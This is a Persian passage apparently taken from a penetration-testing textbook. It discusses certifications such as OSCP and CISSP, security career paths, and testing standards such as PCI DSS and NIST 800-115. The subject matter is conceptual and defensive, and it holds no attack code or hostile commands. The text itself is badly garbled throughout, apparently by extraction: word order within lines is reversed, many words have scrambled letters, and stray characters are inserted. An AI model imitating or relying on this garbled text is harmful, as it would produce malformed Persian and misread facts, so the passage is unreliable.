 ها آن ،نیهمچن .باشد می دلار 4000 از شیب SANS های دوره ولی است ساعته 40 / ای هفته 1

 است. دشوار اریبس self study صورت به مطالعه نیبنابرا کنند، نمی منتشر ار آزمون اهداف
 در شرکت ،دیکن شرکت امتحان در یسادگ به دوره در شرکت بدون که اید گرفته میتصم اگر

 مشکل اریبس خودآموز مطالب افتنی در و داشت خواهد بر در نهیهز دلار 1100 از شیب آزمون
 داشت. دیخواه
 

OSCP 

 Offensive Security از Offensive Security Certified Professional (OSCP) مجوز

(https://www.offensive-security.com/information-security-certifications/oscp-
offensive-securitycertified-professional/) کسب یهکر جامعه در یخوب اریبس شهرت 

 کننده شرکت .ستین یکتب آزمون کی نیا ،نامهیگواه صدور های آزمون برخلاف است. کرده
 تست کی که شود می باعث که ،کند هک را یشیآزما های ستمیس تیموفق با دیبا آزمون
 کردن پاس ،گرید عبارت به باشد. شما کردن هک مهارت در کامپیوتر رایانهگ واقع کاملا
 است. رممکنیغ کردن هک یواقع مهارت نداشتن و OSCP آزمون
 هک تست نیا واقع در کند، نمی شیآزما را نفوذ تست که است نیا OSCP اساسی عیب
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 یبرا ،Offensive Security تیسا وب طبق .ستین هک یها کیتکن صرفاً نفوذ تست است.
 با دیتوان نمی که باشید داشته توجه باید.دیکن نام ثبت ها آن دوره در دیبا آزمون در شرکت

 .کنید تقلب و دیبکش چالش به را آزمون یسادگ به ،نامهیگواه فروشندگان
 

Mile2 

 ISC2 اید  ECCouncil بده  نسدبت  هدا  نامهیگواه و https://mile2.com (Mile2) یتیامن آموزش
 بده  ولدی  ،اسدت  مناسب کاملاً صنعت در Mile2 های نامهیگواه شهرت است. شده شناخته کمتر
 شهرت اما ،ستندین شده شناخته و معروف Offensive Security ای SANS های نامهیگواه اندازه
 یدارا هدا  آن و دیده می انجام یراحت به را ها تست که است نیا یاصل یایمزا ندارد. هم ضعیفی
 ابید ارز نامده  گدواهی  ترین ییابتدا از که هستند هک / نفوذ تست های نامهیگواه از ییبالا سطح
(Assessment) مشاور با و شوند می شروع مجاز پذیری آسیب (Consultant) نفوذ مجاز تست 
 تدا  یمبتدد  نسدبتاً  سدطح  از هسدتند،  هدا  نامده یگواه از یعیوسد  فید ط یدارا نیهمچن .ابدی می انیپا
 .باشد می هیبق از کمتر اریبس ها آن های تست دارند: ریچشمگ اریبس تیمز کی و .شرفتهیپ
 

CISSP 

Certified Information System Security Professional (CISSP) نامهیگواه کی واقع در 
 نتری یاصل CISSP .است یعموم اطلاعات تیامن نامهیگواه کی بلکه .ستین نفوذ تست
 نامهیگواه ترین شده شناخته و ترین یمیقد .باشد می اطلاعات آوری فن تیامن نامهیگواه
 تالیجید مشاغل در نفوذ تست یبرا یحت اطلاعات آوری فن یتیامن مشاغل از یاریبس .باشد می

 هر که شود می گفته غالباً .دهند می قرار مدارک فهرست جزورا CISSP مدرک یقانون جرائم
  دارد. CISSP افتیدر به ازین مواقع یبرخ در اطلاعات یفناور تیامن متخصص
 پوشش اطلاعات یفناور تیامن یگستردگ خاطر به را دامنه 8 که دارد لواس 250 آزمون
 شده فیتوص "عمق نچیا کی و عر  لیما کی" عنوان به غالباً . بود( دامنه 10 )قبلاً دهد می
 مورد در یادیز عمق و شده شامل را موضوعات زا ای گسترده فیط که است یمعن بدان ،است
 صرف اطلاعات، یفناور تیامن متخصص کی که است مهم اریبس ندارد. یخاص موضوع هر
 داشته اطلاعات یفناور تیامن مباحث یگستردگ از یخوب یعموم درک تخصص، از نظر
 باشد.
 ،باشد می کاری هتجرب سال 5 یا و دانشگاهی مدرک سال چهار مدرک این نیاز مورد شرایط
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 اطلاعات یفناور صنعت در سال نیچند اگر نیبنابرا است، شده فیتعر کاملاً نیز تجربه که
 ،یاریبس های دوره دارد. وجود دیکن برآورده را تجربه یارهایمع نکهیا احتمال ،دیا بوده مشغول
 برای کامل عمناب فقدان بدلیل و منظور بدین دارد. وجود CISSP یبرا ،یرسم ریغ و یرسم چه

 را CISSP آزمون کامل مرجع که یاطلاعات های ستمیس تیامن کتاب اینجانب ،CISSP آزمون
 مک یترو و یآبرنات نیروب نوشته CISSP Cert Guide کتاب از برگرفته که کردم ترجمه

 کتاب نیا باشد، می یفارس زبان به CISSP کتاب کامل ترجمه نینخست درواقع که است، لانیم
 کتاب نیا در که یمهم های سرفصل است. شده یطراح یاساس موضاعات قیعم رکد یبرا

 های تیاطلاعات،مسئول تیامن یتیریمد اقدامات و تیامن یکل یمعرف شامل شود می مطرح
 و سکیر تیریمد ها، تیمسئول و ها نقش اطلاعات، یبند طبقه ،یتیامن های استیس ت،یریمد
 یمعمار و ی،طراحیسدستر کنترل های یلوژمتدو و ها ستمی،سیتیامن یساز آگاه
 طرح و (BCP) کار و کسب تداوم طرح نترنت،یا و شبکه ارتباطات، تیامن ،یت،رمزنگاریامن
 توسعه تیامن ،یا انهیرا میجرا و یقانون و یحقوق مسائل یبررس (DRP) حوادث یابیباز
 و یکیزیف تیامن سک،یر تیریمد و اطلاعات تیامن تیحاکم ،یکاربرد های برنامه و ها ستمیس
 است. یطیمح
 

PPT 

 از قبل دهید اجازه صورت نیا در کردم. ذکر قبلاً که است ای شده شناخته کمتر نامهیگواه نیا
 و باشد می آن نشد شناخته کمتر یمنف مورد نیبارزتر کنم. شروع یمنف نکات با مثبت نکات
  ندهند. صیتشخ را "یا حرفه نفوذ تست" نامهیگواه بلافاصله افراد است ممکن
 مسئله دهم. حیتوض را آن جادیا لیدل دیده اجازه آزمون، نیا مثبت نکات فیتوص منظور به
 یها روش ای استانداردها از چکدامیه بخش، نیا در شده فیتوص یفعل یآزمونها که است نیا

 2 فصل در که است هایی روش و استانداردها شامل PPT .دهند نمی پوشش را نفوذ تست
 در که) SQL قیتزر مانند هک استاندارد های روش شامل نیهمچن PPT.کرد دیخواه شاهدهم

 دیخواه ادی 4فصل در که) nmap اسکن گرفت(، دیخواه ادی "وب که" ،7 فصل
 دیخواه ادی 4 فصل در )که اطلاعات یآور جمع (،" Reconnaissance اکتشاف")گرفت(،
 ریسا و آموخت( دیخواه "نوکسیل بر ای همقدم" ،9 فصل در )که هیپا نوکسیل گرفت(،
 کردن. هک / نفوذ تست به مربوط مباحث



 آموزش اصول و مفاهیم تست نفوذ 30 

 

 ها نامهیگواه و کتاب این

 یساز آماده یبرا خاص طور به و ستین نامهیگواه هیته برای حاضر کتاب که دیبدان دیبا ،اول
 حال، نیا با است. نشده یطراح شده ذکر نامهیگواه های آزمون از کی هر یبرا شما
 صدور یآزمونها از مورد چند ای کی در زین شده آورده کتاب نیا در که یضوعاتمو

 داشته تسلط کاملاً را شده مطرح کتاب نیا در که آنچه اگر دارد. وجود الذکر فوق نامهیگواه
 خواهید پوشش را OSCP یحت ای GPEN، CEH به مربوط مطالب از ای عمده قسمت ،دیباش
 تداخل هم با ها آزمون نیا همه اینکه لیدل به داد. دیخواه پوشش را PPT تمام ،همینطور و .داد
 نیبنابرا هستند. رهیغ و Metasploit ،ندوزیو هک ،SQL قیتزر ،nmap شامل ها آن همه ،دارند
 کمک در دیمف یابزار تواند می یقینا اما ،ستین نامهیگواه هیته یراهنما کی کتاب نیا اگرچه

 باشد. نامهیگواه صدور یآزمونها از یاریبس در یآمادگ یبرا شما به
 

 نفوذ تست در مشاغل

 احتمال به ،کنید طالعهم خودآموز ای یرسم کلاس یبرا یدرس کتاب عنوان به توان می را منبع نیا
 خواهم می ،لیدل نیهم به .دیکن شرفتیپ نهیزم نیا در ای دیشو رشته نیا وارد که دارید تمایل فراوان
 در یبعد بخش در دهم. قرار تاندسترس در یشغل های نهیگز مورد در بحث یابر را پاراگراف چند
 کرد. خواهم صحبت ها مهارت نیا جادیا یچگونگ و ،تانازین مورد های مهارت مورد
 

 Security Administrators تیامن های ادمین

 متخصصان نیا است. تیامن های ادمین یبرا نفوذ تست یمهارتها یشغل ریمس نیبارزتر و نیاول
 یبریسا تیامن های دغدغه از یعیوس دامنه نگران ها آن بلکه ندارند. تخصص نفوذ تست در

 خود، روزمره فیوظا از یبخش عنوان به تیامن متخصصان نیا اگر است ممکن یحت هستند.
 .باشد می مهم اریبس برایشان نفوذ تست یریادگی لیدل سه به ندهند، انجام را نفوذ های تست
 تست تواند می کند، تیامن احساس متخصص وقت هر که باشد می صورت این به لاو لیدل

 موجود یتیامن های پذیری آسیب از یبرخ به پاسخ در تواند می نیا دهد. انجام را یمحدود نفوذ
 ممکن آن در که دارد وجود یمتعدد یوهایسنار باشد. سازمان در ریاخ هاینقض ای ها رسانه در
 های تست از یبرخ یبرا را خود سازمان ستمیس های جنبه از یبرخ واهدبخ تیامن ادمین است
 دهد. انجام شدهمحدود نفوذ
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 دانش ها آن که است نیا یعموم تیامن متخصص توسط نفوذ تست آموختن یبرا دوم لیدل
 کنند. استخدام را یخارج مشاور کی مؤثر طور به بتوانند لزوم صورت در تا دارند را یکاف
 دشوار اریبس متخصص کی تیصلاح مورد در قضاوت ،دیندار حرفه آن از یتصور کاملاً اگر
 کی تیصلاح یراحت به دهد می امکان شما به نفوذ تست هیاول های مهارت داقلح داشتن است.
 .دیکن یابیارز دیکن استخدام دیخواه می که را یخارج مشاور

 یرمزنگار" ،3 فصل در ابتدا در که است هک های کیتکن به مربوط سوم لیلد
Cryptography " درک که یداتیتهد برابر در شبکه یساز منیا ،منظر به کرد. میخواه بحث 

 هیاول یمهارتها حداقل دیبخواه است ممکن ،گرید عبارت به است. رممکنیغ عملاً ،کنید نمی
 دیبدان اگر .دیده اطلاع بهتر را تیامن متقابل اقدام خود انتخاب با دیبتوان تا دیباش داشته را هک
 نیا یمهارتها به اگر .دیکن دفاع ها آن حملات برابر در دیتوان می بهتر دانند، می چه مهاجمان که

 .باشد می یکاف تیامن ادمین هر یبرا ،شوید مسلط کاملاً کتاب
 

 Commercial Penetration Testing یتجار نفوذ تست

 ها شرکت کنند. می استخدام یداخل نفوذ کنندگان تست خودشان ها شرکت از یاریبس امروزه
 یافراد به ها شرکت نیا صورت، هر در دهند. می ارائه انیمشتر ریسا به را نفوذ تست خدمات

 فوق های میت یدارا ها شرکت از یبرخ واقع، در دارند. ازین دارند نفوذ تست مهارت که
 هستند. گسترده نفوذ تست تخصص
 فقط شما نکهیا تا دارد ازین یشتریب یمهارتها به یتجار نفوذ تست ،دیدار انتظار که طور همان
 نیبنابرا هستند، یتخصص ها میت نیا از یاریبس .دیباش نفوذ تست در ماهر تیامن ادمین کی
 های رمجموعهیز از یبرخ ای PCI DSS نفوذ تست وب، نفوذ تست بدافزار، نهیزم در دیتوان می
 نیا های مهارت تمام بر تسلط ،دیزن می حدس مالاًاحت که طور همان و .دیکن دایپ تخصص گرید

 کند، طیشرا واجد پایه سطح در یتجار نفوذ کننده تست کی عنوان به را شما تواند می کتاب
 آموخت. دیخواه یشتریب موارد خود یشغل شرفتیپ با اما
 

 Government/National Defense دولت / یمل دفاع

 اکنون است. کرده رشد یریچشمگ طرز به صنعت ،یبریاس تیامن نهیزم در کار شروع زمان از
 ارتش مثال، عنوان به است. نداشته وجود یسادگ به کار شروع زمان در که دارد وجود یمشاغل
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 یمعنا به د.ندار یبریسا تیامن یبرا (ینظام یشغل های تخصص نام )به هایی شغل متحده الاتیا
 کی با ییایدر تفنگداران ای ییهوا یروین متحده، الاتیا ارتش در نام ثبت کلمه یواقع

 و ستین لازم یقبل آموزش چیه که باشد می اینگونه آن تیمز است. یبریسا تیامن تخصص
 که کند، می بیتصو را تیامن ارتش ،نیا بر علاوه دهد. می ارائه را لازم های آموزش ارتش
 بود. خواهد دیمف اریبس زین یرنظامیغ جهان در یحت

 بزرگ های آژانس تمام کرد. کار یدفاع یمانکاریپ های آژانس یبرا انتو می نیهمچن
 یدفاع یمانکاریپ های شرکت حال، نیا با هستند. یبریسا تیامن های بخش یدارا یمانکاریپ

 دهند. نمی آموزش ها آن زیرا دیباش داشته ییبالا تجربه و مهارت قبل از که دارند انتظار
 استخدام هک / نفوذ تست های مهارت با را یافراد ،NSA ژهیو به ،یاطلاعات های آژانس
 مهارت سطح تنها نه که هستند یافراد دنبال به ها آن ،دیبزن حدس دیتوان می طور همان کنند. می
 که است واضح لاًکام .ندیبرآ زین قیدق یبررس نهیزم پس از توانند می بلکه دارند ییبالا اریبس
 بود. خواهد ادیز اریبس یهای سازمان نیچن در ودنب محرمانه و یاخلاق اصول به ازین
 

 Law Enforcement قانون یجراا

 حال، نیا با کنند. نمی نفوذ ها شبکه به معمول طور به نه حداقل سیپل افسران که است یهیبد
 دارد، را یبریسا میجرا مورد در قیتحق تیمسئول که قانون یاجرا در یکس هر که است مهم
 استفاده فنون مورد در یکاف دانش داشتن است. شده مرتکب جرائم نیا چگونه که کند درک
 توانمند یتخلفات نیچن مورد در قیتحق در را قانون یاجرا افسر هر ،مانمهاج توسط شده
 سازد. می
 .کنم می آغاز ،کنند نمی نفوذ ها شبکه به قانون یاجرا مأموران نکهیا انیب با را بخش نیا

 نیا دارد. وجود " playpen" تیسا وب معروف پرونده مثال، عنوان به دارد. وجود ییاستثناها
 .پرداخت می کودکان یپورنوگراف توزیع به که بود (Dark website) کیتار تیسا وب کی

FBI که را یانیمشتر تا کرده آلوده را تیسا آن یجاسوس یاافزاره نرم کمک با شد موفق 
 نیا .کنند دستگیر اند، آمده تیسا نیا به کانکود کیپورنوگراف ریتصاو از دیبازد یبرا
 نیا در اتفاقاً است. شده استفاده مجرمان یریدستگ یبرا هک های مهارت از که است یتیوضع
 یبررس 16 تا 13 های فصل در را Metasploit شد. استفاده (Metasploit payload) از حالت
 کرد. میخواه
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 Building Your Skillset خود مهارت ساخت

 یشتریب موارد شهیهم کند. می فراهم تاننفوذ تست یبرا ای هیپا کتاب نیا که داشت توجه دیبا
 دیتوان نمی هرگز که دیهست ای نهیزم به ورود حال در واقع، در دارد. وجود یریادگی یبرا

 بوجود دیجد متقابل اقدامات و دیجد های کیتکن شهیهم .کنید پیدا آن از کامل شناخت
 چگونه که میکن بحث و کرده صرف زمان نجایا در یکم دهید اجازه ،نینابراب .آمد خواهد
 .دیده ارتقا شکل نیبهتر به را خود های مهارت دیتوان می
 در .دیکن نی،تمرکنید می مطالعه کتاب نیا در را آنچه که است نیا فعالیت ترین یاتیح و نیاول
 (hands-on labs) یعمل شگاهیآزما یادیز تعداد !دیده انجامش ،دینخوان را آن فقط واقع
 متوقفنباید نجایا در که باشید داشته توجه باید .دیده انجام را ها آن تک تک دارد. وجود
 کنم می تاکید .ستنده شما برای خاص کیتکن ای ابزار کی یمعرف منظور به ها شگاهیآزما .دیشو
 .دیکن جستجو ها شگاهیآزما از فراتر دیبا شما
 وتریکامپ علوم مورد در شما دانش عمق یکل طور به گرفت نظر در دیبا که یگرید سئلهم
 علوم زمینه در یریچشمگ سابقه که دارند وجود ینفوذ های کننده تست مطمئناً .باشد می
 به ،دیباش داشته وتریکامپ علوم مورد در یشتریب اطلاعات هرچه حال، نیا با ندارند. وتریکامپ
 مورد در یکاف دانش حداقل تا دیکن تلاش دیبا بود. دیخواه تربه نفوذ کننده تست کی عنوان
 .دیباش داشته شبکه یآور فن و ها عامل ستمیس

 فیلد( )نهیزم کی واقع در بود. خواهد مهم یتانبرا دیجد های کیتکن مستمر یریادگی نهمچنی
 شود. سوخمن سرعت به تواند می بینید می آموزش امروز آنچه است. رییتغ حال در عیسر اریبس
 

 خلاصه

 مختلف موضوعات درباره و پرداخت نفوذ تست نهیزم در ای گسترده یمعرف به فصل نیا
 صنعت خاص های نامهیگواه شد. بحث یعموم اصطلاحات یبرخ نیهمچن و یاخلاق و یحقوق
 یاخلاق و یقانون ملاحظات ها، آزمون مختلف انواع با شما که است مهم شد. داده شرح
 .دیباش آشنا نفوذ تست در استفاده مورد حاتاصطلا و مربوطه
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 استانداردها
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 فصل اهداف

  بود: خواهید قادر ،فصل این خواندن از پس
 دیکن درک را نفوذ تست مختلف یاستانداردها. 
 دیکن استفاده خود نفوذ تست تیهدا یبرا استانداردها نیا از. 
 نفوذ. تست یبرا واحد و منسجم کردیرو کی در استانداردها )ترکیب(سنتز 

 کده  یموضدوع  .دیشد آشنا نفوذ تست حرفه و موضوع با ،"نفوذ تست بر ای مقدمه" ،1 فصل در
 نید ا در .باشدد  نمدی  هدک  نفدوذ  تسدت  کده  بود نیا گرفت قرار دیتأک مورد شدت به 1 فصل در

 مانندد  دید با که است ای حرفه تیفعال کی نفوذ تست شود. بیان تر واضح دیبا تیواقع نیا فصل،
 .شد کینزد آن به گرید پروژه تیریمد ای یدسمهن کار هر

 تست دارد. وجود زین نفوذ تست یبرا ای حرفه یاستانداردها پروژه، تیریمد و یمهندس همانند
 شده یزیر برنامه پروژه کی دیبا ،باشد یتصادف هک های تلاش از موقت یسر کی دینبا نفوذ
 ای حرفده  یاسدتانداردها  از یعیوسد  فیط امر، نیا تحقق منظور به باشد. خاص اهداف با و دقیق
 اهدداف  سدمت  بده  استانداردها نیا از یبرخ پردازد. می نفوذ تست فرایند به که است شده جادیا

 پرداخدت  کدارت  صدنعت  داده تید امن اسدتاندارد  مثال، عنوان به شوند. می تیهدا صنعت خاص
Payment Card Industry Data Security Standard (PCI DSS) طدور  بده  نفوذ تست یبرا 

 کنندد.  مدی  تیریمدد  را یاعتبدار  کارت های داده که است هایی شرکت تیامن تست یبرا خاص
 Penetration Testing نفددوذ تسددت یاجددرا اسددتاندارد مثددال عنددوان )بدده اسددتانداردها ریسددا

Execution Standard [PTES] دهشد  ثبدت  یاخلاق تیامن کنندگان تست یشورا و Council  
of Registered Ethical Security Testers [CREST]که است نفوذ تست یکل یکردهایرو 

  .ردیگ قرار استفاده مورد یصنعت ای سازمان هر در تواند می
 از دید با فصدل  نید ا انید پا در کندد.  می حیتشر و فیتوص را استانداردها نیا از کی هر فصل نیا

 کددردیرو کید  در اسددتانداردها سدپس  .دیباشدد داشدته  یاهآگدد نفدوذ  تسددت عمدده  یاسدتانداردها 
 )ترکیب( سنتز ،دیکن استفاده خود نفوذ های تست یبرا دیتوان می که نفوذ، تست یبرا یشنهادیپ

 شوند. می
 

(Payment Card Industry Data Security Standard) PCI DSS 
 ،Visa، MasterCard کده  اسدت  یاسدتاندارد  پرداخدت،  کدارت  صدنعت  داده تید امن استاندارد

American Express و Discover از یادیددز یبخشددها واقددع در کننددد. مددی اسددتفاده آن از 
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 یرو بدر  سپس ،میکن می انیب را یعموم استاندارد خلاصه طور به فقط اما دارد، وجود استاندارد
 .میکن می تمرکز آن نفوذ تست قسمت در اتیجزئ
 شود می روز به مرتب طور به استاندارد شد. منتشر 2004 سال دسامبر در PCI DSS نسخه نیاول
 .باشد می 4/0 نسخه اکنون هم تا

 هدای  کدارت  کده  هدایی  شدرکت  کده  اسدت  یاهداف و یتیامن های کنترل PCI DSS یاصل تمرکز
 یاجدرا  از ندان یاطم یبرا نفوذ تست و تیامن ممیزی کنند. اجرا دیبا کنند می پردازش را یاعتبار
 یبدرا  کده  اسدت  یلد یدلا از یکد ی مدورد  نید ا شود. می انجام اهداف به یابیتدس و ها کنترل نیچن

 داشت. دخواه ازین PCI DSS اولیه درک به PCI DSS نفوذ تست یقعوا درک
PCI DSS شبکه کی تا شود تیرعا دیبا که کند می فیتعر را یتیامن گسترده اهداف از یبرخ 

 2-1 شدکل  در دید توان مدی  را کنتدرل  اهدداف  . باشدد(  داشدته  )مطابقتسازگارباشد یتیامن نظر از
 .دیکن مشاهده

 
 

 PCI DSS کنترل اهداف .2-1 شکل
 

 بدا  شدما  کده  اسدت  مهدم  اسدت،  شدده  یطراحد  PCI DSS اهداف تست یبرا تاننفوذ تست اگر
 .دیباش داشته اریبس ییآشنا ،اهداف
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 PCI DSS تست میمفاه .2-2 شکل

 

 The Actual Test یواقع تست

 PCI نفوذ تست یبرا دیبا که کند می فیتعر را یخاص فرایند PCI نفوذ تتس استاندارد
 است. شده ارائه نجایا در فرایند نیا بر یمرور شود. استفاده
 سپس شود. یبررس تست تعهد شروع از قبل دیبا که باشد می مفهوم سه یدارا PCI DSS اول،
 ها آن به دیبا که دهد می نشان را یمفهوم ناحیه سه 2-2 شکل دارد. وجود تست از مرحله سه

 شود. پرداخته
 شما که ستین نطوریا است. مهم نفوذ تست هر در که است تست حوزه نییتع مسئله نیاول
 غیرعملی و اجرا رقابلیغ نیا ،طیشرا از یاریبس در واقع، در .دیکن تست را موارد همه شهیهم

 تست ای درجه چه تا و شوند می تست هایی ستمیس چه نکهیا نییتع ابتدا نیبنابرا بود. خواهد
 است. ضروری اریسب که شوند می
 به که یزیچ و است انگیز بر نیتحس واقعاً PCI DSS استاندارد مورد در که یموارد از یکی

 در است. ها( )شایستگیها تیصلاح بحث شود، گنجانده نفوذ های تست تمام در دیبا منظر
 .شود می مطرح نجایا در تیصلاح یمعنا از یبخش که ،شد بحث ها نامهیگواه مورد در ،1 فصل
 لازم مدارک از سطح چه خاص نفوذ تست نیا یبرا که شود مشخص دیبا آن، از فراتر اما

 دسترس در هم که را طیشرا واجد فرد نیبهتر شهیهم که کنند می استدلال افراد از یبرخ است.
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 اما ،رسد می نظر به واضح چند هر .دیکن استخدام ،است متناسب بودجه لحاظ از هم و بوده
 نظر در است، اشتباه روش نیا چرا نکهیا دادن نشان یبرا مناسب روش کی .باشد می نادرست
 جهان در مشهور جراح به یازین هشکست یبازو درمان یبرا است. یپزشک اسیق کی گرفتن
 .دیندار
 اول ،شود گرفته ظرن در دیبا یمختلف عوامل خاص، نفوذ تست کی های تیصلاح نییتع در
 تجارت تیسا کی به وب حملات یبرا ساده تست کی مثال، عنوان به است. یدگیچیپ

 کسب و نظارت کنترل های ستمیس به مربوط تستهای به نسبت یکمتر یدگیچیپ ،یکیالکترون
 گرید مسئله دارد. Supervisory control and data acquisition (SCADA) اطلاعات

 Microsoft شبکه کی فقط مثال عنوان به همگن، شبکه کی تست است. هدف شبکه تیماه

Windows، یکار های ستگاهیا یدارا که است ای شبکه از تر ساده Microsoft Windows، 
 زین گردید اشاره بالا در که ای )دامنه( حوزه است. Mac های تاپ لپ و Linux وب یسرورها

 یشتریب های مهارت باشد، شتریب تست حوزه چه هر .تاس موضوع لازم های تیصلاح نییتع در
 بود. خواهد لازم زین

 بحث ها روش انواع مورد در ،1 فصل در است. )متدولوژی(شناسی روش سوم مفهوم سرانجام،
 ارتباط مفهوم نیا با اند، گرفته قرار یبررس و بحث مورد فصل نیا در که ییاستانداردها .میکرد
 تست حال در PCI یاستانداردها که است یهیبد ،PCI DSS تتس یبرا البته، دارند. کینزد

 .قرارگیرند آزمون مورد دیبا که دارد وجود یاضاف یاستانداردها حال، نیا با هستند.
 یازهاین فاز هر ولی دارد، ساده نسبتاً فاز سه کردیرو PCI DSS ،میمفاه نیا به پرداختن از پس
 .دیکن مشاهده 1-2 جدول در دینتوا می را موارد خلاصه دارد. را خود خاص

 

 PCI DSS الزامات و ها فاز .2-1 جدول
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NIST 800-115 
 را اسدتاندارد  یتعدداد  کده  اسدت  متحدده  الاتید ا در یسدازمان  یفناور و استاندارد یمل یتویانست
 یراهنمدا  ،NIST 800-115 اسدت.  یبریسدا  تیامن توجه مورد ها آن از یاریبس که کرده نیتدو
 کده  طور همان است. نفوذ کنندگان تست ژهیو توجه مورد اطلاعات، تیامن یابیارز و تست یفن
 نفوذ. تست فقط نه است، تست یبرا یکل یراهنما کی ،داستیپ استاندارد نیا عنوان از
 اسناد، یبررس مانند ،ستندین نفوذ تست به مربوط که است موارد یبرخ شامل استاندارد نیا

 داده پوشش یتر مناسب طور به تیامن یزیمم در موارد نیا مشابه. موارد و log یبررس
 نفوذ تست کی تمرکز و بوده مناسب ،کاملاًیزیمم کی داشتن که است ذکر به لازم شوند. می
 کند. می تیهدا را

NIST 800-115 کند می استفاده مرحله سه از: 
 یزیر برنامه Planning 
 اجرا Execution 
 اجرا از پس Post-Execution 

 و محکدم  کددام  هدر  مراحل نیا اما برسد، نظر به ساده کاملاً ((plan طرح کی نیا ستا ممکن
 داد. میخواه مرحله هر به یشتریب اتیجزئ یبعد یبخشها در هستند. قیدق
 

 Planning یزیر برنامه

 کردن هک کند. می جدا کردن هک از را نفوذ تست که است یموارد از یکی یزیر برنامه
 باشد، شده یزیر برنامه اگر و باشد، شدهن یزیر برنامه ای باشد شده یزیر برنامه است ممکن
 پروژه کی مانند ای حرفه نفوذ تست به دیبا حال، نیا با است. ریپذ انعطاف اریبس برنامه
 .باشد می یاتیح قیدق برنامه کی که است یمعن بدان نیا شد، کینزد یمهندس
 دیخواه می قاًیدق است. اهداف ییشناسا شود توجه آن به یزیر برنامه در دیبا که ای مسئله نیاول
 هنگام .ستین یکاف یسادگ به " ستمیس تیامن تست" مانند مبهم پاسخ د؟یبرس ای جهینت چه به

 ستا ممکن مناسب مثال کی باشد. قیدق ینظام نظر از دیبا تاناهداف نفوذ، تست یزیر برنامه
 فصل نیا در بعداً "باشد. OWASP پذیری یبآس 10 برابر در یکیالکترون تجارت سرور تست"
 یسازمان نیا که دیکن درک یسادگ به حاضر حال در پرداخت. میخواه OWASP اتیجزئ به

 کند. می منتشر را برتر ریپذ بیآس ستیل کی و باشد می وب تیامن آن اصلی دغدغه که است
 باشند. یریگ اندازه قابل تا باشند خاص یکاف اندازه به دیبا که است نیا تاناهداف یاصل مسئله
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 دهد. نمی ارائه یدار یمعن یراهنما چیه اغلب و است دشوار اریبس مبهم اهداف یریگ اندازه
 زیچ همه کنیم بیان که است جالب اریبس است. (scope) حوزه مسئله اهداف، به مربوط موضوع

 که است مهم .ستین ریپذ امکان ای ملاحظه قابل شبکه هر در ولی کرد، دیخواه تست را
 روش باشد. مؤثر یتیامن مشکلات رفع در هم و باشد کنترل قابل هم که دیکن انتخاب را ای حوزه
 اسکن گذشته، رخدادهای به مربوط های گزارش به که است بدینگونه کار نیا انجام
 .دیده اجازه تاننفوذ تست حوزه مورد در یریگ میتصم یبرا یتینام های یزیمم و پذیری آسیب

 

 Execution جراا

 دیابیدر دیکن یسع است. شبکه کشف مورد نیاول است. یفرع مرحله سه تست یاجرا واقع در
 میخواه یبررس کتاب نیا در که دارد وجود ابزار یتعداد .ستیچ هدف شبکه روی بر که
 .دیبرشمار را کامل شبکه کی تا کنند کمک شما به توانند می که کرد،
 به که است مهم .دیکن ییشناسا را ها پذیری آسیب دیبا ،آوردید ماربش را شبکه نکهیا از بعد
 اسکن کی حال، نیا با .باشد نمی نفوذ تست پذیری آسیب اسکن که دیباش داشته خاطر
 یبرا تلاش با ،گرید عبارت به .باشد می شما نفوذ تست تیهدا های راه از یکی پذیری آسیب
 دارید قرار آن معر  درشما که ای حمله برابر در که هدف ستمیس کی از (exploit) برداری بهره
 مشاهده را یعیوس هایابزار یبعد های فصل در شود. نمی محقق چیزی هیچ،ستین ریپذ بیآس
 NIST سند از 2-2 جدول ند.نک کمک ها پذیری آسیب ییشناسا در توانند می که کرد دیخواه

 کند. می فیتوص را شفک یها روش و است( سند آن در 1-4 )جدول است 800-115
 

 NIST 800-115 کشف های کیتکن .2-2 جدول
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 هدددا پدددذیری آسدددیب نیدددا از میکنددد تدددلاش کددده اسدددت دهیرسددد فدددرا آن زمدددان سدددرانجام،
 هدای  کید تکن از آن در کده  باشدد  مدی  فرعدی  مرحلده  نیا واقع در .میکن )اکسپلویت(برداری بهره
 تدلاش  هددف  سدتم یس نقدض  یبدرا  ها روش انواع برای شما مرحله نیا در شود. می استفاده هک
   .دیکن می
 شدامل  مراحدل  شدود.  مدی  میتقسد  ای مرحلده  چهار فرایند کی به حمله، مرحله ،یواقع نفوذ تست
 .دیکن مشاهده 2-3 شکل در دیتوان می که باشد، می گیری گزارش حمله، کشف، ،یزیر برنامه

  
 نفوذ تست حلامر .2-3 شکل

 

 تست کی اگر کهنیا اول لیدل است. مورد دو شود می ارائه خهچر کی عنوان به نیا نکهیا لیدل
 تست ،دیکن یزیر برنامه یفعل تست در دیبا که است یموارد از یکی پس شده، انجام قبلا نفوذ
 اصلاح مسائل آن آیا که کنید بررسی ،اصل در است. شده کشف یقبل نفوذ تست آن در آنچه
 .است شده
 ممکن ،نفوذ تست یک در که است این شود می ارائه رخهچ یک عنوان به اینکه دوم دلیل 

 دیگری حملات به را شما است ممکن که ،کنید مرور را نتایج ،دهید انجام حمله یک است
 قیتزر مقابل در یتیسا که دیشد متوجه اگر ،مثال عنوان .بهکند هدایت شود انجام باید که

SQL است. یمنطق زین تیسا نیب یسینو پتیاسکر بودن یمنطق تست است، ریپذ بیآس 
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 Post-Execution اجرا از پس

 حمله از پس که باشد ییکارها همه شامل که ستین جذاب عبارت کی فقط اجرا از پس
 نیا هدف نیاول است. ضروری اریبس گرید مراحل اندازه به مرحله نیا .دیده می انجام یواقع
 هر ،دیکرد نقض را یستمیس اگر .دیا نگذاشته باز را یستمیس چیه دیشو مطمئن که است
 .دیده تمهخا را تست آن است لام زمانی
 و شده انجام یکارها تمام و باشد قیدق کاملاً دیبا گزارش .دیکن هیته گزارش دیبا نیهمچن
 یبرا اندازه همان به باشد، ناموفق قانون نقض یبرا اقدام کی اگر دهد. نشان را جینتا نیهمچن
 وفقم ستمیس کی شکستن در که یهنگام ،نیا بر علاوه است. مهم آمیز موفقیت نقض اثبات
 .دیده ارائه را کار نیا انجام نحوه اتیجزئ دیبا ،دیهست
 که شود مستند دیبا گزارش است. (remediation)اصلاح مراحل گزارش قسمت نیمهمتر
 تست یینها هدف کند. برطرف را شده کشف های پذیری آسیب تواند می هدف شبکه چگونه
 کند. دایپ را ها آن مهاجم کی آنکه از قبل ها آن اصلاح و ضعف نقاط افتنی نفوذ

NIST 800-115 رمز شکستن جمله از دیبا که یخاص حملات مورد در و بوده مفصل اریبس 
 بهتر کند. می صحبت ،گیرد می بکار که گرید موارد و مرز یبررس ،یاجتماع یمهندس عبور،
